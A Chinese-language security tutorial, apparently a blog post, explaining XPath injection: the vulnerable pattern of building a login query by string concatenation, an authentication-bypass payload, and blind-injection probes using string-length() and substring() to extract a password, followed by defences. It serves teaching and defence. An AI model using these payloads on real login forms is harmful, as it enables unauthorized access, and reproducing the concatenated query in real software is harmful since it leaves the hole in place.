本文提供的资料和信息仅供学习交流,不得用于非法用途;

对于因使用本文内容而产生的任何直接或间接损失,博主不承担任何责任;

本文尊重他人的知识产权,如有侵犯您的合法权益,请在vx公众号SecurePulse后台私信联系我们,我们将尽快删除

一、漏洞简介

  • XPath介绍

    • XPath是W3C的一个标准。它最主要的目的是为了在XML1.0或XML1.1文档节点树中定位节点所设计。

    • 也是一种查询语言,描述了如何在XML文档中查找特定元素(包括属性、处理指令等)。

    • XPath在一些方面与SQL相似。但是在SQL语言中,一个用户的权限被限制在一个特定的数据库、表、列、行中。而XPath的不同之处在于,它可以用来引用XML文档的几乎任何部分而且不受访问控制限制。

    • XPath可以用来在内存中导航整个XML树的语言,它使用路径表达式来选取XML文档中的节点或者节点集。

  • 路径表达式

    • XPath使用路径表达式来选取XML文档中的节点或节点集

    • 节点通过沿着路径 (path) 或者步 (steps) 来选取

  • XPath注入

    • XPath注入是一种针对使用XPath(XML Path Language)的应用程序进行攻击的安全漏洞,利用XPath解析器的松散输入和容错特性,能够在URL、表单或其它信息上附带恶意的XPath查询代码,获得权限信息的访问权并修改这些信息。XPath注与SQL 注入类似,利用应用程序未正确验证用户输入的漏洞,向应用程序提交恶意构造的XPath查询,从而绕过认证、获取未授权的数据或执行未经授权的操作

  • XPath盲注

    • 可以从一个使用不安全方式嵌入用户信息的应用中提取数据。在输入未被过滤的情况下,攻击者可以提交并执行有效的XPath代码。

    • 这种类型的攻击适用于攻击者不清楚XML文档的架构,或者错误消息被抑制,一次只能通过布尔化查询来获取部分信息,就像SQL盲注一样

  • 总的来说,XPath注入攻击的工作原理就是,攻击者在URL、表单或其他信息上附加恶意的XPath查询代码,当应用程序接收到这些输入并使用它们来构造XPath查询时,攻击者的代码将被执行,从而可能导致未授权的数据访问或更改。

二、XPath注入漏洞的构成条件

  • 数据从不可靠的来源(如用户输入或可能被用户更改的文件)进入应用程序。

  • 用户输入未经过适当的验证或过滤,被直接用于构造XPath查询语句并执行。

三、代码分析

  • 在构造XPath查询语句时,直接将用户输入的用户名和密码拼接到查询语句中,而没有进行任何验证或过滤。

  • 这允许攻击者通过输入恶意构造的用户名和密码来操纵XPath查询,从而可能绕过身份验证机制,执行未授权的操作

$sql="//user[@username='{$username}' and @password='{$password}']";
  • 同等于

select * from users where username='username' and password='password'

四、利用漏洞进行攻击(靶场演示)

  • 使用万能公式

admin' or '1'='1
username=admin' or '1'='1 &password=xxxxxxxxxxx&submit=submit

  • Xpath盲注

  • string-length():获取字符长度,可以用来密码的判断长度(判断密码长度是不是5)

username=admin'and string-length(@password)=5 or '1'='1&password=0&submit=submit

  • substring:截取字符,可以用来判断密码的字符(判断第一个字母是不是a)

username=admin'and substring(@password,1,1)='a' or '1'='1&password=0&submit=submit

五、防御方法简介

  • 对用户输入进行严格的验证和过滤,确保只有合法的XPath查询语句才能被执行。

  • 使用参数化查询或预编译的语句来构造XPath查询,而不是直接将用户输入拼接到查询语句中。

  • 限制应用程序对XML数据库的访问权限,确保只有必要的操作才能被执行。

  • 对重要数据进行加密存储和传输,以防止未授权访问。

  • 检查提交的数据是否包含特殊字符,对特殊字符进行编码转换或替换、删除敏感字符或字符串。

  • 对于系统出现的错误信息,以IE错误编码信息替换,屏蔽系统本身的出错信息。

  • 参数化XPath查询